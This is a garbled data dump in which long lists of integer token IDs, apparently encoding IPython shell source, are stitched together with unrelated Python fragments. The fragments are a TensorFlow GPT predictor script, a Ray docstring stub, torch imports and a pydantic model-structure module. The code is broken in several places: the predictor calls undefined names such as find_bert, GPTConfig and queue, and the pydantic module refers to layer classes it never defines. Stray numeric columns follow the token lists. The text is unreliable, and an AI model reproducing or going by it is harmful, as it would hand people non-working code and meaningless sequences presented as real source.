220,
220,
220,
220,
220,
220,
37227,
198,
220,
220,
220,
220,
220,
220,
220,
3601,
7,
944,
13,
9492,
5275,
22737,
13,
301,
65,
17,
5239,
7,
301,
65,
4008,
628,
220,
220,
220,
825,
905,
1837,
41641,
18224,
7,
944,
11,
29472,
28,
14202,
11,
2491,
62,
5589,
3902,
62,
8189,
28,
25101,
2599,
198,
220,
220,
220,
220,
220,
220,
220,
37227,
23114,
262,
15582,
4049,
326,
655,
5091,
13,
628,
220,
220,
220,
220,
220,
220,
220,
770,
1595,
470,
3359,
257,
8931,
12854,
780,
612,
2125,
470,
530,
13,
628,
220,
220,
220,
220,
220,
220,
220,
1002,
257,
29472,
318,
1813,
11,
340,
318,
22259,
287,
262,
6631,
2427,
198,
220,
220,
220,
220,
220,
220,
220,
286,
644,
373,
612,
878,
357,
13893,
11361,
338,
30751,
1464,
3544,
198,
220,
220,
220,
220,
220,
220,
220,
33490,
8841,
24618,
618,
3555,
422,
257,
4731,
737,
628,
220,
220,
220,
220,
220,
220,
220,
1002,
262,
15582,
4049,
5091,
618,
2491,
257,
14102,
2438,
357,
72,
13,
68,
13,
2491,
62,
5589,
576,
62,
8189,
28,
17821,
828,
198,
220,
220,
220,
220,
220,
220,
220,
2392,
8931,
12854,
481,
307,
9066,
13,
198,
220,
220,
220,
220,
220,
220,
220,
220,
37227,
198,
220,
220,
220,
220,
220,
220,
220,
304,
4906,
11,
1988,
11,
938,
62,
40546,
1891,
796,
2116,
13557,
1136,
62,
41194,
62,
10951,
3419,
628,
220,
220,
220,
220,
220,
220,
220,
611,
29472,
290,
1189,
549,
4871,
7,
2963,
431,
11,
26375,
897,
12331,
2599,
198,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
1949,
25,
198,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
1988,
13,
34345,
796,
29472,
198,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
2845,
25,
198,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
1303,
1892,
262,
5794,
356,
1607,
26,
2666,
340,
3436,
198,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
1208,
628,
220,
220,
220,
220,
220,
220,
220,
1303,
1002,
262,
4049,
5091,
618,
23710,
14102,
2438,
11,
356,
815,
2148,
1336,
8931,
40546,
13,
198,
220,
220,
220,
220,
220,
220,
220,
1288,
396,
796,
12854,
1891,
13,
2302,
974,
62,
83,
65,
7,
12957,
62,
40546,
1891,
8,
611,
2491,
62,
5589,
3902,
62,
8189,
2073,
17635,
198,
220,
220,
220,
220,
220,
220,
220,
336,
65,
796,
2116,
13,
13940,
41641,
22737,
13,
7249,
1522,
62,
40546,
1891,
7,
2963,
431,
11,
1988,
11,
1288,
396,
8,
198,
220,
220,
220,
220,
220,
220,
220,
2116,
13557,
12860,
40546,
1891,
7,
2963,
431,
11,
1988,
11,
336,
65,
8,
628,
220,
220,
220,
1303,
770,
318,
23170,
4651,
287,
24523,
9492,
5275,
23248,
284,
905,
257,
3275,
546,
198,
220,
220,
220,
1303,
262,
4064,
34274,
5536,
13,
198,
220,
220,
220,
825,
905,
521,
298,
341,
18224,
7,
944,
2599,
198,
220,
220,
220,
220,
220,
220,
220,
37227,
34,
4262,
416,
4808,
5143,
62,
3846,
618,
612,
338,
281,
1423,
298,
341,
12331,
287,
2438,
5982,
198,
220,
220,
220,
220,
220,
220,
220,
379,
262,
6152,
13,
628,
220,
220,
220,
220,
220,
220,
220,
770,
318,
23170,
4651,
287,
24523,
9492,
5275,
23248,
284,
905,
257,
3275,
546,
198,
220,
220,
220,
220,
220,
220,
220,
262,
4064,
34274,
5536,
526,
15931,
198,
220,
220,
220,
220,
220,
220,
220,
2116,
13,
49596,
33567,
897,
18224,
3419,
628,
220,
220,
220,
1303,
10097,
45537,
198,
220,
220,
220,
1303,
11597,
3519,
284,
1100,
1370,
198,
220,
220,
220,
1303,
10097,
45537,
628,
220,
220,
220,
825,
2315,
62,
961,
1370,
7,
944,
2599,
198,
220,
220,
220,
220,
220,
220,
220,
37227,
46162,
38827,
11617,
628,
220,
220,
220,
220,
220,
220,
220,
337,
2668,
284,
12094,
47611,
11,
994,
691,
284,
30276,
262,
2315,
9156,
526,
15931,
198,
220,
220,
220,
220,
220,
220,
220,
1303,
5345,
257,
1271,
286,
5050,
326,
4745,
319,
1100,
1370,
284,
307,
645,
12,
404,
198,
220,
220,
220,
220,
220,
220,
220,
14601,
13,
40539,
10786,
63,
15003,
62,
961,
1370,
63,
318,
645,
12,
404,
1201,
6101,
7535,
642,
13,
15,
290,
318,
2129,
31023,
3256,
198,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
2129,
8344,
341,
20361,
11,
8931,
5715,
28,
17,
8,
198,
220,
220,
220,
220,
220,
220,
220,
2116,
13,
2617,
62,
23144,
62,
785,
1154,
353,
796,
645,
62,
404,
628,
220,
220,
220,
2488,
48267,
62,
4598,
310,
395,
198,
220,
220,
220,
825,
900,
62,
19545,
62,
15414,
7,
944,
11,
264,
11,
6330,
28,
25101,
2599,
198,
220,
220,
220,
220,
220,
220,
220,
37227,
21394,
262,
705,
12286,
6,
5128,
4731,
329,
262,
1306,
3141,
1627,
13,
628,
220,
220,
220,
220,
220,
220,
220,
17934,
3712,
628,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
554,
685,
16,
5974,
4808,
541,
13,
2617,
62,
19545,
62,
15414,
7203,
15496,
9678,
4943,
198,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
554,
685,
17,
5974,
18435,
9678,
62,
220,
1303,
23493,
318,
994,
198,
220,
220,
220,
220,
220,
220,
220,
37227,
198,
220,
220,
220,
220,
220,
220,
220,
2116,
13,
45895,
62,
19545,
62,
15414,
796,
264,
628,
220,
220,
220,
825,
4808,
521,
298,
62,
14421,
62,
2536,
7,
944,
2599,
198,
220,
220,
220,
220,
220,
220,
220,
37227,
7783,
262,
1459,
1241,
286,
33793,
341,
355,
257,
4731,
37811,
198,
220,
220,
220,
220,
220,
220,
220,
1441,
2116,
13,
15414,
62,
22018,
1967,
13,
1136,
62,
521,
298,
62,
2777,
2114,
3419,
1635,
705,
705,
628,
220,
220,
220,
1303,
10097,
45537,
198,
220,
220,
220,
1303,
11597,
3519,
284,
2420,
11939,
198,
220,
220,
220,
1303,
10097,
45537,
628,
220,
220,
220,
825,
2315,
62,
785,
1154,
353,
7,
944,
2599,
198,
220,
220,
220,
220,
220,
220,
220,
37227,
24243,
1096,
262,
11939,
20230,
13,
628,
220,
220,
220,
220,
220,
220,
220,
770,
8075,
11939,
20230,
326,
460,
307,
973,
416,
5456,
2438,
11,
198,
220,
220,
220,
220,
220,
220,
220,
2035,
9427,
2280,
287,
12,
14681,
357,
48126,
13973,
416,
262,
1100,
1370,
198,
220,
220,
220,
220,
220,
220,
220,
5888,
828,
1430,
49454,
357,
10508,
355,
287,
1332,
45861,
8,
393,
503,
12,
1659,
12,
14681,
198,
220,
220,
220,
220,
220,
220,
220,
357,
48126,
625,
262,
3127,
416,
6569,
2166,
2412,
737,
198,
220,
220,
220,
220,
220,
220,
220,
37227,
198,
220,
220,
220,
220,
220,
220,
220,
422,
6101,
7535,
13,
7295,
13,
785,
1154,
353,
1330,
6101,
5377,
1154,
353,
198,
220,
220,
220,
220,
220,
220,
220,
422,
6101,
7535,
13,
7295,
13,
785,
1154,
353,
8019,
1330,
357,
21412,
62,
785,
1154,
353,
11,
198,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
5536,
62,
5143,
62,
785,
1154,
353,
11,
22927,
62,
785,
1154,
353,
11,
13259,
62,
785,
1154,
353,
8,
628,
220,
220,
220,
220,
220,
220,
220,
2116,
13,
5377,
1154,
353,
796,
6101,
5377,
1154,
353,
7,
29149,
28,
944,
11,
198,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
25745,
28,
944,
13,
7220,
62,
5907,
11,
198,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
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220,
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1729,
12,
14202,
1988,
561,
7616,
1058,
20786,
25,
63,
17597,
13,
13812,
25480,
63,
3848,
13,
198,
220,
220,
220,
220,
220,
220,
220,
1303,
5455,
11,
356,
3650,
262,
8420,
62,
8189,
287,
2836,
62,
5907,
13,
220,
5740,
262,
33815,
198,
220,
220,
220,
220,
220,
220,
220,
1303,
286,
4808,
37023,
62,
8189,
25,
329,
1630,
12,
66,
11,
4808,
37023,
62,
8189,
6624,
532,
12683,
282,
13,
46224,
2043,
11,
198,
220,
220,
220,
220,
220,
220,
220,
1303,
475,
8620,
4482,
30337,
28264,
37023,
62,
8189,
8,
481,
1577,
3722,
35360,
0,
198,
220,
220,
220,
220,
220,
220,
220,
2116,
13,
7220,
62,
5907,
17816,
62,
37023,
62,
8189,
20520,
796,
9940,
628,
220,
220,
220,
1303,
779,
7347,
276,
1080,
416,
4277,
11,
780,
340,
318,
1365,
39207,
198,
220,
220,
220,
1080,
796,
1080,
62,
79,
46647,
628,
220,
220,
220,
825,
651,
22915,
7,
944,
11,
23991,
11,
6626,
28,
17821,
11,
6795,
28,
15,
2599,
198,
220,
220,
220,
220,
220,
220,
220,
37227,
3855,
5072,
357,
39363,
1390,
336,
1082,
81,
8,
422,
257,
850,
14681,
13,
628,
220,
220,
220,
220,
220,
220,
220,
40117,
198,
220,
220,
220,
220,
220,
220,
220,
24200,
438,
198,
220,
220,
220,
220,
220,
220,
220,
23991,
1058,
965,
198,
220,
220,
220,
220,
220,
220,
220,
220,
220,
9455,
284,
12260,
357,
5171,
407,
886,
287,
705,
5,
3256,
355,
4469,
7767,
389,
198,
220,
220,
220,
220,
220,
220,
220,
220,
220,
407,
4855,
13,
198,
220,
220,
220,
220,
220,
220,
220,
6626,
1058,
20512,
11,
11902,
198,
220,
220,
220,
220,
220,
220,
220,
220,
220,
1002,
6407,
11,
6626,
262,
5072,
656,
281,
6101,
7535,
311,
8053,
13,
220,
15323,
11,
281,
198,
220,
220,
220,
220,
220,
220,
220,
220,
220,
6101,
7535,
30948,
10100,
318,
4504,
13,
220,
2312,
389,
5563,
2092,
284,
3487,
198,
220,
220,
220,
220,
220,
220,
220,
220,
220,
8341,
290,
13042,
11,
351,
257,
1178,
15607,
12608,
329,
4577,
198,
220,
220,
220,
220,
220,
220,
220,
220,
220,
17512,
286,
1627,
12,
3106,
5072,
13,
220,
921,
460,
779,
705,
8348,
319,
606,
329,
198,
220,
220,
220,
220,
220,
220,
220,
220,
220,
3307,
13,
198,
220,
220,
220,
220,
220,
220,
220,
6795,
1058,
493,
11,
11902,
198,
220,
220,
220,
220,
220,
220,
220,
220,
220,
1374,
867,
13431,
2029,
262,
24955,
389,
262,
1957,
9633,
543,
815,
198,
220,
220,
220,
220,
220,
220,
220,
220,
220,
307,
9902,
287,
262,
3141,
4731,
30,
383,
4277,
357,
15,
8,
18533,
326,
262,
198,
220,
220,
220,
220,
220,
220,
220,
220,
220,
7118,
9633,
389,
287,
262,
8931,
5739,
4585,
428,
2163,
13,
198,
220,
220,
220,
220,
220,
220,
220,
37227,
198,
220,
220,
220,
220,
220,
220,
220,
611,
23991,
13,
81,
36311,
22446,
437,
2032,
342,
10786,
5,
6,
2599,
198,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
1303,
428,
318,
1635,
16370,
9,
422,
257,
22888,
1332,
198,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
5298,
440,
5188,
81,
1472,
7203,
21756,
7767,
407,
4855,
19570,
198,
220,
220,
220,
220,
220,
220,
220,
503,
796,
651,
22915,
7,
944,
13,
7785,
62,
11201,
392,
7,
28758,
11,
6795,
28,
18053,
10,
16,
4008,
198,
220,
220,
220,
220,
220,
220,
220,
611,
6626,
25,
198,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
503,
796,
311,
8053,
7,
448,
13,
35312,
6615,
28955,
198,
220,
220,
220,
220,
220,
220,
220,
2073,
25,
198,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
503,
796,
30948,
10100,
7,
448,
8,
198,
220,
220,
220,
220,
220,
220,
220,
1441,
503,
628,
220,
220,
220,
1303,
10097,
45537,
198,
220,
220,
220,
1303,
11597,
3519,
284,
47217,
198,
220,
220,
220,
1303,
10097,
45537,
628,
220,
220,
220,
1303,
10097,
45537,
198,
220,
220,
220,
1303,
11597,
3519,
284,
18366,
198,
220,
220,
220,
1303,
10097,
45537,
628,
220,
220,
220,
1303,
10097,
45537,
198,
220,
220,
220,
1303,
11597,
3519,
284,
21437,
82,
198,
220,
220,
220,
1303,
10097,
45537,
628,
220,
220,
220,
1303,
10097,
45537,
198,
220,
220,
220,
1303,
11597,
3519,
284,
262,
7694,
346,
353,
198,
220,
220,
220,
1303,
10097,
45537,
628,
220,
220,
220,
825,
8295,
62,
1809,
6525,
62,
15414,
7,
944,
11,
23991,
2599,
198,
220,
220,
220,
220,
220,
220,
220,
37227,
18557,
284,
262,
3159,
262,
30101,
1296,
286,
262,
2836,
338,
3141,
13,
628,
220,
220,
220,
220,
220,
220,
220,
770,
2523,
5874,
7538,
416,
49614,
5128,
3951,
326,
2728,
198,
220,
220,
220,
220,
220,
220,
220,
11353,
4585,
284,
4829,
287,
11,
588,
3712,
628,
220,
220,
220,
220,
220,
220,
220,
220,
220,
1220,
69,
2124,
628,
220,
220,
220,
220,
220,
220,
220,
656,
3712,
628,
220,
220,
220,
220,
220,
220,
220,
220,
220,
40103,
29,
277,
7,
87,
8,
628,
220,
220,
220,
220,
220,
220,
220,
706,
262,
2836,
338,
5128,
6152,
13,
220,
770,
5419,
262,
2836,
1833,
326,
262,
198,
220,
220,
220,
220,
220,
220,
220,
5128,
1627,
373,
14434,
6338,
416,
6101,
7535,
13,
198,
220,
220,
220,
220,
220,
220,
220,
37227,
198,
220,
220,
220,
220,
220,
220,
220,
611,
407,
2116,
13,
12860,
62,
1809,
9108,
62,
15414,
25,
198,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
1441,
628,
220,
220,
220,
220,
220,
220,
220,
1303,
770,
318,
23170,
4651,
287,
24523,
9492,
5275,
23248,
284,
779,
14996,
36454,
198,
220,
220,
220,
220,
220,
220,
220,
3601,
7203,
23031,
29,
366,
1343,
23991,
8,
628,
220,
220,
220,
1303,
10097,
45537,
198,
220,
220,
220,
1303,
11597,
3519,
284,
37895,
3815,
14,
42712,
507,
422,
9720,
290,
2836,
62,
5907,
198,
220,
220,
220,
1303,
10097,
45537,
628,
220,
220,
220,
825,
4808,
7220,
62,
26801,
62,
18224,
7,
944,
2599,
198,
220,
220,
220,
220,
220,
220,
220,
37227,
7783,
2829,
6631,
8633,
628,
220,
220,
220,
220,
220,
220,
220,
329,
779,
287,
2836,
62,
42712,
507,
198,
220,
220,
220,
220,
220,
220,
220,
37227,
628,
220,
220,
220,
220,
220,
220,
220,
304,
4906,
11,
5418,
518,
11,
256,
65,
796,
2116,
13557,
1136,
62,
41194,
62,
10951,
3419,
198,
220,
220,
220,
220,
220,
220,
220,
336,
65,
796,
2116,
13,
9492,
5275,
22737,
13,
1136,
62,
1069,
4516,
62,
8807,
7,
2963,
431,
11,
5418,
518,
8,
628,
220,
220,
220,
220,
220,
220,
220,
2859,
62,
10951,
796,
1391,
198,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
334,
338,
83,
7240,
6,
1058,
705,
18224,
3256,
198,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
334,
470,
16740,
1891,
6,
1058,
336,
65,
11,
198,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
334,
6,
12453,
6,
1058,
304,
4906,
13,
834,
3672,
834,
11,
198,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
334,
6,
18206,
518,
6,
1058,
12972,
18,
5589,
265,
13,
21230,
62,
46903,
1098,
7,
18206,
518,
828,
198,
220,
220,
220,
220,
220,
220,
220,
1782,
628,
220,
220,
220,
220,
220,
220,
220,
1441,
2859,
62,
10951,
628,
220,
220,
220,
825,
4808,
18982,
62,
7220,
62,
26801,
7,
944,
11,
26181,
2599,
198,
220,
220,
220,
220,
220,
220,
220,
37227,
18982,
257,
2836,
2134,
284,
3359,
8633,
628,
220,
220,
220,
220,
220,
220,
220,
329,
779,
287,
2836,
62,
42712,
507,
198,
220,
220,
220,
220,
220,
220,
220,
37227,
628,
220,
220,
220,
220,
220,
220,
220,
1366,
11,
45243,
796,
2116,
13,
13812,
62,
687,
1436,
13,
18982,
7,
26801,
8,
198,
220,
220,
220,
220,
220,
220,
220,
1988,
796,
1391,
198,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
705,
13376,
6,
1058,
705,
482,
3256,
198,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
705,
7890,
6,
1058,
1366,
11,
198,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
705,
38993,
6,
1058,
45243,
11,
198,
220,
220,
220,
220,
220,
220,
220,
1782,
198,
220,
220,
220,
220,
220,
220,
220,
1441,
1988,
628,
220,
220,
220,
825,
2836,
62,
42712,
507,
7,
944,
11,
14700,
2599,
198,
220,
220,
220,
220,
220,
220,
220,
37227,
36,
2100,
4985,
257,
8633,
286,
14700,
287,
262,
2836,
338,
25745,
13,
628,
220,
220,
220,
220,
220,
220,
220,
40117,
198,
220,
220,
220,
220,
220,
220,
220,
24200,
438,
198,
220,
220,
220,
220,
220,
220,
220,
14700,
1058,
8633,
198,
220,
220,
220,
220,
220,
220,
220,
220,
220,
317,
8633,
351,
4731,
8251,
290,
4731,
3815,
13,
220,
383,
5408,
3815,
198,
220,
220,
220,
220,
220,
220,
220,
220,
220,
815,
307,
4938,
11361,
14700,
11,
1123,
286,
543,
481,
307,
16726,
198,
220,
220,
220,
220,
220,
220,
220,
220,
220,
287,
262,
2836,
25745,
13,
628,
220,
220,
220,
220,
220,
220,
220,
16409,
198,
220,
220,
220,
220,
220,
220,
220,
35656,
198,
220,
220,
220,
220,
220,
220,
220,
317,
8633,
11,
1994,
276,
588,
262,
5128,
14700,
8633,
11,
351,
262,
5527,
285,
524,
12,
774,
9124,
198,
220,
220,
220,
220,
220,
220,
220,
3359,
62,
7890,
286,
1123,
1988,
13,
198,
220,
220,
220,
220,
220,
220,
220,
37227,
198,
220,
220,
220,
220,
220,
220,
220,
503,
796,
23884,
198,
220,
220,
220,
220,
220,
220,
220,
2836,
62,
5907,
796,
2116,
13,
7220,
62,
5907,
198,
220,
220,
220,
220,
220,
220,
220,
3298,
62,
5907,
796,
2116,
13,
7220,
62,
20541,
62,
5907,
628,
220,
220,
220,
220,
220,
220,
220,
329,
1994,
11,
44052,
287,
14700,
13,
23814,
33529,
198,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
1949,
25,
198,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
1988,
796,
2116,
13557,
18982,
62,
7220,
62,
26801,
7,
18206,
7,
31937,
11,
3298,
62,
5907,
11,
2836,
62,
5907,
4008,
198,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
2845,
25,
198,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
1988,
796,
2116,
13557,
7220,
62,
26801,
62,
18224,
3419,
198,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
503,
58,
2539,
60,
796,
1988,
198,
220,
220,
220,
220,
220,
220,
220,
1441,
503,
628,
220,
220,
220,
1303,
10097,
45537,
198,
220,
220,
220,
1303,
11597,
3519,
284,
262,
2491,
286,
2438,
198,
220,
220,
220,
1303,
10097,
45537,
628,
220,
220,
220,
825,
409,
7,
944,
11,
23991,
2599,
198,
220,
220,
220,
220,
220,
220,
220,
37227,
23002,
1133,
257,
3487,
21015,
2643,
287,
2836,
25745,
526,
15931,
198,
220,
220,
220,
220,
220,
220,
220,
351,
2116,
13,
18780,
259,
62,
46670,
25,
198,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
2452,
7,
28758,
11,
2116,
13,
7220,
62,
20541,
62,
5907,
11,
2116,
13,
7220,
62,
5907,
8,
628,
220,
220,
220,
825,
819,
7,
944,
11,
44052,
2599,
198,
220,
220,
220,
220,
220,
220,
220,
37227,
36,
2100,
4985,
21015,
5408,
44052,
287,
2836,
25745,
13,
628,
220,
220,
220,
220,
220,
220,
220,
16409,
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23248,
24694,
13,
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7,
9492,
5275,
23248,
8,
198
] | 2.382067 | 54,192 |
import sys,os
father_path = os.path.join(os.getcwd())
print(father_path, "==father path==")
bert_path = find_bert(father_path)
# t2t_bert_path = os.path.join(bert_path, "t2t_bert")
# sys.path.extend([bert_path, t2t_bert_path])
sys.path.extend([bert_path])
print(sys.path)
from predict import AppPredictor
from predict.preprocessors import GPTPreprocessor
from predict.postprocessors import GPTPostprocessor
import tensorflow as tf
from train.modeling import GroverModel, GroverConfig, sample
from bunch import Bunch
from predict.app_utils import get_selected_columns_schema
_app_flags = tf.app.flags
_app_flags.DEFINE_string("inputTable", default=None, help='Input table (only for pai cmd)')
_app_flags.DEFINE_string("outputTable", default=None, help='Output table (only for pai cmd)')
_app_flags.DEFINE_string("inputSchema", default=None,
help='Only for csv data, the schema of input table')
_app_flags.DEFINE_string("firstSequence", default=None,
help='Which column is the first sequence mapping to')
_app_flags.DEFINE_string("secondSequence", default=None,
help='Which column is the second sequence mapping to')
_app_flags.DEFINE_string("appendCols", default=None,
help='Which columns will be appended on the outputs')
_app_flags.DEFINE_string("outputSchema", default="pool_output,first_token_output,all_hidden_outputs",
help='The choices of output features')
_app_flags.DEFINE_integer("sequenceLength", default=128,
help='Maximum overall sequence length.')
_app_flags.DEFINE_string("modelName", default='',
help='Name of pretrained model')
_app_flags.DEFINE_integer("batchSize", default=32,
help='Maximum overall sequence length.')
_APP_FLAGS = _app_flags.FLAGS
app_config = GPTConfig()
predictor = AppPredictor(app_config,
thread_num=1,
queue_size=256,
job_name="app_predictor")
preprocessor = GPTPreprocessor(app_config,
thread_num=predictor.thread_num,
input_queue=queue.Queue(),
output_queue=queue.Queue())
postprocessor = GPTPostprocessor(app_config,
prediction_colname="predictions",
thread_num=predictor.thread_num,
input_queue=queue.Queue(),
output_queue=queue.Queue())
predictor.run_predict(reader=None,
preprocessor=preprocessor,
postprocessor=postprocessor,
writer=None)
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6260,
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198
] | 2.208703 | 1,241 |
# constrained version of a line
# has direction
from Line import *
"""
ray1 = Ray((0, 0), (0, 1))
print ray1.getBase()
print ray1.getDirectionVector()
ray2 = Ray((1, 1), (-1, 0))
print ray1.doesIntersectWithRay(ray2)
print ray1.intersectWithRay(ray2)
"""
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] | 2.230769 | 130 |
import torch
from torch import nn
import numpy as np
import pickle
import os
from model.VAE import VAE
from data.normalization import ChallengeNormalizer
from util.utils import iterate_minibatches
from util.cache import load_model, save_model
from config.general import cache_dir
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#!/usr/bin/env python
# -*- coding: utf-8 -*-
"""
Author: Li Yuanming
Email: [email protected]
Date: 1/27/2021
ML model structure definitions.
"""
import abc
import inspect
from enum import Enum
from typing import Optional, Union, Tuple, Dict, OrderedDict
from pydantic import BaseModel, PositiveInt, conint, PositiveFloat, Field, validator
from typing_extensions import Literal
class Operation(Enum):
"""
Operation enum to the layer or connection. There are three kinds of operations: ``'A'`` for add the specific
layer / connection, ``'D'`` for delete the specific layer / connection, ``M`` for modify the layer /
connection, and ``E`` for no operation.
"""
ADD = 'A'
DELETE = 'D'
MODIFY = 'M'
EMPTY = 'E'
class LayerType(Enum):
"""
Enum of the supported layer type. This is to hint which class of layer the provided data is converted to.
"""
LINEAR = 'torch.nn.Linear'
CONV_1D = 'torch.nn.Conv1d'
CONV_2D = 'torch.nn.Conv2d'
RELU = 'torch.nn.ReLU'
TANH = 'torch.nn.Tanh'
BN_1D = 'torch.nn.BatchNorm1d'
BN_2D = 'torch.nn.BatchNorm2d'
MP_1D = 'torch.nn.MaxPool1d'
MP_2D = 'torch.nn.MaxPool2d'
AAP_1D = 'torch.nn.AdaptiveAvgPool1d'
AAP_2D = 'torch.nn.AdaptiveAvgPool2d'
class ModelLayer(BaseModel, abc.ABC):
# noinspection PyUnresolvedReferences
"""
Layer of the model structure.
For layer attributes need to be set :code:`None`, use :code:`'null'` instead. This is for the reason of
updated parameters with value :code:`None` will be viewed as not set. So we take special care to the
desired :code:`None`, replacing it with :code:`'null'`.
Attributes:
op_ (Operation): Operation to the layer.
type_ (LayerType): Indicates the type of this layer. This field also provides hint for :class:`pydantic`
model conversion.
__required_type__ (LayerType): By overriding this attributes, we can use :meth:`check_layer_type` to
provide validation of the sub classes.
"""
op_: Operation
type_: LayerType
__required_type__: LayerType
@classmethod
def parse_layer_obj(cls, layer_obj):
"""
Parse from a ML layer object.
This function will inspect the required parameters to build the layer, and try to obtain its
parameter value from the layer object. The default parameter parser is python default
:code:`getattr`, which assume we can get the value from the same-named attribute of the
layer object.
For parameter cannot parsed with default parser, set a function with the format:
:code:`__{parameter_name}_parser__(layer_obj: Any) -> Any`.
Has the following signature:
Input Arguments:
* layer_obj : Any
The layer object to be parsed.
Return Arguments:
* Any
The parsed value of the given parameter.
TODO:
Signature checking for __{parameter_name}_parser__
"""
kwargs = {'op_': Operation.EMPTY, 'type_': cls.__required_type__}
signature = inspect.signature(layer_obj.__init__)
for param in signature.parameters:
parser = getattr(cls, f'__{param}_parser__', lambda obj: getattr(obj, param))
kwargs[param] = parser(layer_obj)
return cls(**kwargs)
@validator('type_')
def check_layer_type(cls, layer_type: LayerType) -> LayerType: # noqa
"""
Checks layer type value provided is the same as the required value.
This is to generate validator for check :code:`layer_type` field of subclasses of :class:`ModelLayer`.
"""
if layer_type != cls.__required_type__:
raise ValueError(f'Expected {cls.__required_type__} but got {layer_type}')
return layer_type
_LayerType = Union[Linear, Conv1d, Conv2d, ReLU, Tanh, BatchNorm1d, BatchNorm2d, MaxPool1d, MaxPool2d,
AdaptiveAvgPool1d, AdaptiveAvgPool2d]
class Structure(BaseModel):
# noinspection PyUnresolvedReferences
"""
Indicate a ML model structure using a graph data structure.
:attr:`layer` is the graph node, representing a layer of the model. :attr:`connection` is the graph edge,
representing which two layers are connected, and the directions of tensor pass.
Attributes:
layer (OrderedDict[str, _LayerType]): Layer mapping, the key is layer name, and the value is layer
attributes. See :class:`ModelLayer` for reference.
connection (Optional[Dict[str, Dict[str, Operation]]]): The connection (:attr:`connection`) maps
the starting layer name, to the ending layer name with a connection operation.
Examples::
>>> from collections import OrderedDict
>>> # add a nn.Linear layer named 'fc1' with in_features=1024, out_features=10
>>> layer_mapping = OrderedDict({
... 'fc1': LinearLayer(in_features=1024, out_features=10, type_=LayerType.LINEAR, op_=Operation.ADD),
... })
>>> # connection example for add connection from 'conv1' to 'fc1'
>>> connection_mapping = {'conv1': {'fc1': Operation.ADD}}
>>> struct = Structure(layer=layer_mapping, connection=connection_mapping)
>>> print(struct)
layer={'fc1': LinearLayer(in_features=1024, out_features=10, bias=None)}
connection={'conv1': {'fc1': <Operation.ADD: 'A'>}}
>>> # Other than using the model object, we can pass in a plain dictionary,
... # and utilize `Structure.parse_obj`.
>>> structure_data = {
... 'layer': {'fc': {'in_features': 1024, 'out_features': 10, 'type_': 'torch.nn.Linear', 'op_': 'A'}},
... 'connection': {'conv1': {'fc1': 'A'}}
... }
>>> Structure.parse_obj(structure_data)
Structure(layer={'fc': LinearLayer(in_features=1024, out_features=10, bias=None)},
connection={'conv1': {'fc1': <Operation.ADD: 'A'>}})
"""
layer: OrderedDict[str, _LayerType] = Field(
default_factory=OrderedDict,
example={'fc': {'out_features': 10, 'type_': 'torch.nn.Linear', 'op_': 'M'}}
)
connection: Optional[Dict[str, Dict[str, Operation]]] = Field(
default_factory=dict,
example={'conv1': {'fc1': 'A'}}
)
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503,
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28,
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220,
220,
220,
220,
220,
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62,
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35,
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220,
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28,
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220,
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220,
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220,
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220,
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220,
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220,
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6,
284,
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16,
6,
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220,
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220,
220,
220,
220,
220,
13163,
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62,
76,
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6,
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13,
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220,
220,
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220,
220,
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7,
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28,
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76,
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220,
220,
220,
220,
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220,
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220,
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220,
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220,
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220,
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220,
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220,
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220,
220,
220,
220,
220,
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220,
220,
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220,
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6,
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13,
20471,
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3256,
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404,
62,
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32,
6,
92,
5512,
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220,
220,
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220,
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2644,
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220,
220,
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6,
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16,
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6,
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16,
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705,
32,
6,
11709,
198,
220,
220,
220,
220,
220,
220,
220,
2644,
1782,
198,
220,
220,
220,
220,
220,
220,
220,
13163,
32522,
13,
29572,
62,
26801,
7,
301,
5620,
62,
7890,
8,
198,
220,
220,
220,
220,
220,
220,
220,
32522,
7,
29289,
34758,
6,
16072,
10354,
44800,
49925,
7,
259,
62,
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28,
35500,
11,
503,
62,
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28,
940,
11,
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28,
14202,
8,
5512,
198,
220,
220,
220,
220,
220,
220,
220,
4637,
34758,
6,
42946,
16,
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1391,
6,
16072,
16,
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1279,
32180,
13,
29266,
25,
705,
32,
44167,
11709,
8,
628,
220,
220,
220,
37227,
198,
220,
220,
220,
7679,
25,
14230,
1068,
35,
713,
58,
2536,
11,
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60,
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7,
198,
220,
220,
220,
220,
220,
220,
220,
4277,
62,
69,
9548,
28,
35422,
1068,
35,
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11,
198,
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220,
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220,
220,
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6,
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35,
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11,
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7,
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220,
220,
220,
220,
220,
220,
220,
4277,
62,
69,
9548,
28,
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11,
198,
220,
220,
220,
